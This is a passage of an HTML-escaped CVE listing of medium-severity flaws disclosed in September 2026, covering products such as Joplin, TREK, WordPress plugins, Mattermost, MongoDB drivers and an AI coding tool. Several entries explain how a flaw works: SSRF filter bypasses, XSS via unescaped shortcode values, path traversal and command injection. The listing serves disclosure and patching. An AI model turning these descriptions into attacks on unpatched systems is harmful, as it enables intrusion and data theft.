&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.7, Joplin Server&#039;s ItemModel.checkIfAllowed() authorizes writes to items with a share ID when any share_users row exists for the caller, without requiring ShareUserStatus.Accepted. A low-privileged authenticated user with a pending folder-share invitation can create an item under the share ID, and ShareModel.updateSharedItems3() propagates the injected content to the owner and accepted participants before the attacker accepts the invitation. This issue is fixed in version 3.7.7.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59815&quot; target=&quot;_blank&quot;&gt;CVE-2026-59815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.7, the GET /api/transcribe/:id and POST /api/transcribe/:id handlers in packages/server/src/routes/api/transcribe.ts on Joplin Server instances with TRANSCRIBE_ENABLED=true pass the decoded id directly into transcription backend URLs. An authenticated user can place URL-encoded slash and parent-directory segments in the job ID, causing parseSubPath() to decode a path that escapes the intended /transcribe/ prefix. The server then proxies the request to other transcription-backend endpoints and can return their responses, potentially exposing internal administrative, health, or configuration data. This issue is fixed in version 3.7.7.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59816&quot; target=&quot;_blank&quot;&gt;CVE-2026-59816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LB-Link--BL-CPE600EU&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in LB-Link BL-CPE600EU 5.8.13. This vulnerability affects unknown code of the file Mifi_config.bin of the component Configuration Backup Handler. The manipulation results in information disclosure. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96606&quot; target=&quot;_blank&quot;&gt;CVE-2026-96606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Leap13--Premium Addons for Elementor&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Premium Addons for Elementor &amp;lt;= 4.11.105 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94168&quot; target=&quot;_blank&quot;&gt;CVE-2026-94168&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Leap13--Premium Blocks Gutenberg Blocks for WordPress&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Premium Blocks - Gutenberg Blocks for WordPress &amp;lt;= 2.3.17 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94118&quot; target=&quot;_blank&quot;&gt;CVE-2026-94118&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;liketrek--TREK&lt;/td&gt;
&lt;td&gt;TREK is a collaborative travel planner. Prior to 3.4.0, the checkSsrf logic in server/src/utils/ssrfGuard.ts does not recognize NAT64, 6to4, or Teredo IPv6 transition addresses that encode an IPv4 destination. An authenticated user who controls a DNS record can supply a URL whose AAAA result is a transition address embedding a private, loopback, or link-local IPv4 target, and isAlwaysBlocked and isPrivateNetwork classify the address as allowed. In a deployment that routes the applicable transition format, user-facing imports, webhooks, integrations, or plugin egress can reach internal services or cloud metadata and expose returned information. This issue is fixed in version 3.4.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85738&quot; target=&quot;_blank&quot;&gt;CVE-2026-85738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;livecomposer--Live Composer Free WordPress Website Builder&lt;/td&gt;
&lt;td&gt;The Live Composer - Free WordPress Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;dslc_module_downloads_output&#039; Shortcode Content in all versions up to, and including, 2.1.21 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The save-time wp_kses_post check is bypassed because the payload is stored as a serialized string containing no HTML tags for kses to tokenize, and the shortcode callback re-emits attacker-controlled values - including view_all_link (href attribute), main_heading_title (h2 body), button_text (anchor body), and button_inline_svg (anchor body) - without any escaping at render time.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16778&quot; target=&quot;_blank&quot;&gt;CVE-2026-16778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lucasdillmann--nginx-ignition&lt;/td&gt;
&lt;td&gt;nginx ignition is a user interface for the nginx web server. In versions 2.33.0 through 2.35.0, any user that has enabled the OTP 2FA can have their TOTP reused during the standard 30 second validity window. Version 2.35.1 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61630&quot; target=&quot;_blank&quot;&gt;CVE-2026-61630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MacWarrior--clipbucket-v5&lt;/td&gt;
&lt;td&gt;ClipBucket v5 before 5.5.3-#182 contains a reflected cross-site scripting vulnerability in the sort_link() helper function that fails to sanitize cat, sort, and time query parameters. Attackers can craft malicious requests with injected script payloads in these parameters to execute arbitrary JavaScript in victims&#039; browsers under the application origin.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95812&quot; target=&quot;_blank&quot;&gt;CVE-2026-95812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;madpsy--ka9q_ubersdr&lt;/td&gt;
&lt;td&gt;madpsy ka9q_ubersdr before 0.1.58 has a stored cross-site scripting (XSS) vulnerability in the chat message rendering functionality. User-controlled URLs in chat messages were insufficiently neutralized before being converted into HTML links. Quotation characters could break out of the generated href attribute and introduce attacker-controlled HTML attributes, allowing arbitrary JavaScript to execute in the browser of another user when the stored chat message was rendered. No click on the malicious link was required.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97723&quot; target=&quot;_blank&quot;&gt;CVE-2026-97723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;magazine3--WP Multilang Translation and Multilingual Plugin&lt;/td&gt;
&lt;td&gt;The WP Multilang - Translation and Multilingual Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post content in all versions up to, and including, 2.4.31 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15731&quot; target=&quot;_blank&quot;&gt;CVE-2026-15731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mailerlite--MailerLite Signup forms (official)&lt;/td&gt;
&lt;td&gt;The MailerLite - Signup forms (official) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the forms() method of the AdminController class in all versions up to, and including, 1.7.21. This makes it possible for authenticated attackers, with Contributor-level access and above, to create or delete arbitrary signup forms.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3253&quot; target=&quot;_blank&quot;&gt;CVE-2026-3253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MasterStudy LMS--MasterStudy LMS&lt;/td&gt;
&lt;td&gt;The MasterStudy LMS WordPress plugin from 1.9 before 3.7.50 does not verify that a course a member asks to enrol in is covered by their membership plan, nor that the plan identifier submitted with the request is one they actually hold, allowing any member to enrol themselves into restricted paid courses outside their plan and beyond the number of courses it entitles them to.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88848&quot; target=&quot;_blank&quot;&gt;CVE-2026-88848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. The impacted element is an unknown function of the file /updateguest.php. Performing a manipulation of the argument gname/editassid results in sql injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100312&quot; target=&quot;_blank&quot;&gt;CVE-2026-100312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability was found in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. Affected is an unknown function of the file loginlinkstudent.php. Performing a manipulation of the argument umail results in missing authentication. Remote exploitation of the attack is possible. The exploit has been made public and could be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100876&quot; target=&quot;_blank&quot;&gt;CVE-2026-100876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. This impacts an unknown function of the file updatestudent.php of the component Student Update Functionality. The manipulation of the argument eno results in sql injection. The attack can be launched remotely. The exploit is now public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97884&quot; target=&quot;_blank&quot;&gt;CVE-2026-97884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. Affected by this vulnerability is an unknown functionality of the file managevideos2.php. Such manipulation of the argument editassid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97886&quot; target=&quot;_blank&quot;&gt;CVE-2026-97886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A weakness has been identified in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. This affects an unknown function of the file updatequery.php. Executing a manipulation of the argument queryx can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100313&quot; target=&quot;_blank&quot;&gt;CVE-2026-100313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. The impacted element is an unknown function. The manipulation results in cross-site request forgery. The attack can be launched remotely. The exploit is now public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100873&quot; target=&quot;_blank&quot;&gt;CVE-2026-100873&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. Affected by this vulnerability is an unknown functionality of the file registrationform.php. Executing a manipulation of the argument FName/LName/Addrs can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100877&quot; target=&quot;_blank&quot;&gt;CVE-2026-100877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.1, 11.8.x &amp;lt;= 11.8.5, 11.7.x &amp;lt;= 11.7.10, 11.10.x &amp;lt;= 11.10.1 fail to enforce a request body size limit during CSRF validation of plugin requests which allows an authenticated user to exhaust server memory and cause a denial of service via a large request body sent to a plugin endpoint.. Mattermost Advisory ID: MMSA-2026-00775&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96260&quot; target=&quot;_blank&quot;&gt;CVE-2026-96260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.1, 11.8.x &amp;lt;= 11.8.5, 11.7.x &amp;lt;= 11.7.10, 11.10.x &amp;lt;= 11.10.1 fail to apply the internal-connection filter to OAuth endpoint requests, which allows a System Administrator to make the server issue requests to internal network addresses and read the responses via the configured OAuth token and userinfo endpoints.. Mattermost Advisory ID: MMSA-2026-00776&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96259&quot; target=&quot;_blank&quot;&gt;CVE-2026-96259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mattermost--Mattermost&lt;/td&gt;
&lt;td&gt;Mattermost versions 11.9.x &amp;lt;= 11.9.1, 11.8.x &amp;lt;= 11.8.5, 11.7.x &amp;lt;= 11.7.10, 11.10.x &amp;lt;= 11.10.1 fail to limit the length of the post ID array accepted by the bulk reactions endpoint which allows an authenticated user to cause excessive database load via a crafted request to {{POST /api/v4/posts/ids/reactions}}.. Mattermost Advisory ID: MMSA-2026-00771&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95666&quot; target=&quot;_blank&quot;&gt;CVE-2026-95666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mauriceboe--TREK&lt;/td&gt;
&lt;td&gt;TREK is a collaborative travel planner. Prior to 3.3.0, getSharedTripData in server/src/services/shareService.ts returns days, assignments, dayNotes, and places through GET /api/shared/:token even when the trip owner disables share_map. The client hides the map, but the public JSON response still includes the itinerary and place names, coordinates, addresses, descriptions, notes, and prices. Anyone holding the valid share token can therefore read location and route information that the owner explicitly chose not to share, although the random token remains required and the flaw does not permit modification. This issue is fixed in version 3.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77320&quot; target=&quot;_blank&quot;&gt;CVE-2026-77320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mauriceboe--TREK&lt;/td&gt;
&lt;td&gt;TREK is a collaborative travel planner. Prior to 3.3.0, the get_trip_summary tool in server/src/mcp/tools/trips.ts is registered for scoped OAuth MCP tokens without requiring trips:read and returns core trip summary data regardless of the delegated scopes. A token granted only an unrelated capability, such as weather:read, can receive trip metadata, member email addresses from server/src/services/tripService.ts, itinerary days, and accommodations for every trip accessible to the token&#039;s user. Cross-user trip authorization remains enforced, but the missing scope check defeats the consented least-privilege boundary and exposes trip content and third-party contact information to an MCP client that was not authorized to read it. This issue is fixed in version 3.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77321&quot; target=&quot;_blank&quot;&gt;CVE-2026-77321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Metaphor Creations--Ditty&lt;/td&gt;
&lt;td&gt;Metaphor Creations Ditty (ditty-news-ticker) before 3.1.70 contains a stored cross-site scripting vulnerability that allows authenticated users with Author-level privileges or higher to inject arbitrary HTML elements by supplying malicious wrapper attribute values in layout tags. The ditty_layout_render_tag_wrapper() function inserts caller-supplied wrapper attribute values directly as HTML element names without allowlist validation, bypassing wp_kses_post() sanitization because KSES runs at save time before layout tag attributes are resolved at render time, causing the payload to execute in the browser of any visitor viewing posts or pages embedding the affected Ditty item.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93339&quot; target=&quot;_blank&quot;&gt;CVE-2026-93339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;metaphorcreations--Ditty&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Ditty &amp;lt;= 3.1.69 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94461&quot; target=&quot;_blank&quot;&gt;CVE-2026-94461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--C Driver&lt;/td&gt;
&lt;td&gt;An out-of-bounds write in the connection-monitoring logic of the MongoDB C Driver may allow an unauthenticated party who controls name resolution and the responses of the hosts named in a client&#039;s connection string to write beyond the end of a heap buffer. This may cause the application using the driver to terminate unexpectedly.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96746&quot; target=&quot;_blank&quot;&gt;CVE-2026-96746&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--PHP Driver&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data in the command monitoring support of the MongoDB PHP Driver can cause class names embedded in document content to be honored when the driver builds monitoring event objects. When an application registers a command monitoring subscriber and includes untrusted data in a database operation, an unauthenticated party who controls that data may cause an application class implementing the driver&#039;s persistable interface to be instantiated and its unserialization method invoked with the supplied data. The resulting impact depends on the classes available in the application.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96745&quot; target=&quot;_blank&quot;&gt;CVE-2026-96745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Python Driver&lt;/td&gt;
&lt;td&gt;PyMongo&#039;s connection string parsing decodes percent-encoded characters in the host portion before the host list is separated on its delimiters. When an application places a hostname value supplied by an unauthenticated party into a connection string, that party may cause additional servers of their choosing to be added to the application&#039;s database client. The application may then send its authentication exchange and database operations to one of those servers, which can observe limited information and return altered results.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96748&quot; target=&quot;_blank&quot;&gt;CVE-2026-96748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Python Driver&lt;/td&gt;
&lt;td&gt;The client-side field level encryption support in the MongoDB Python Driver can treat a key management endpoint value ending in &quot;.sock&quot; as a local Unix domain socket path rather than a remote host. A user with write access to the encryption key metadata stored in the database can cause an application using the driver to open connections to local sockets on the application host. Data sent over these connections is limited to the start of a TLS handshake, so no chosen content is transmitted.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96747&quot; target=&quot;_blank&quot;&gt;CVE-2026-96747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Moonshot AI--Kimi Code&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Moonshot AI Kimi Code up to 0.31.0. The affected element is an unknown function of the file agent-core-v2/src/agent/mcp/config-loader.ts of the component MCP Configuration Loader. The manipulation results in os command injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 0.31.1 is sufficient to fix this issue. It is recommended to upgrade the affected component. Beyond the trust prompt, the fix resolves fd/stty binaries to absolute paths specifically &quot;so untrusted workspaces cannot plant bare-name executables before confirmation,&quot; fixing a secondary $PATH path-planting vector alongside the primary untrusted-.mcp.json auto-spawn.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95660&quot; target=&quot;_blank&quot;&gt;CVE-2026-95660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mstfakts--College-Management-System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Mstfakts College-Management-System. This affects the function session_start of the file Front-end/server.php of the component Authentication. Executing a manipulation can lead to session fixiation. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95828&quot; target=&quot;_blank&quot;&gt;CVE-2026-95828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mtrano--APENCMS&lt;/td&gt;
&lt;td&gt;A vulnerability was found in mtrano APENCMS up to 6546096d354153309693efabb9a0d824628ed4f5. The affected element is the function eval of the file cms/weasel.php of the component Template Engine. The manipulation of the argument $_CMS[&#039;site&#039;] results in code injection. The attack may be performed from remote. The exploit has been made public and could be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95501&quot; target=&quot;_blank&quot;&gt;CVE-2026-95501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--Dask&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Dask up to 2026.8.0. This affects the function from_npy_stack of the file dask/array/core.py of the component Loader. Such manipulation leads to deserialization. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95897&quot; target=&quot;_blank&quot;&gt;CVE-2026-95897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--DbGate&lt;/td&gt;
&lt;td&gt;A flaw has been found in DbGate up to 7.2.5-beta.5. This affects an unknown function of the file packages/api/src/controllers/runners.js of the component JSON Runner. Executing a manipulation of the argument comment.text/script.schedule can lead to code injection. The attack may be performed from remote. Upgrading to version 7.2.5-beta.6 mitigates this issue. This patch is called 70e7b6b58e464d7a015ba16e8d7574b420ee4877. Upgrading the affected component is advised. This issue is distinct from CVE-2026-47668.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97225&quot; target=&quot;_blank&quot;&gt;CVE-2026-97225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--DbGate&lt;/td&gt;
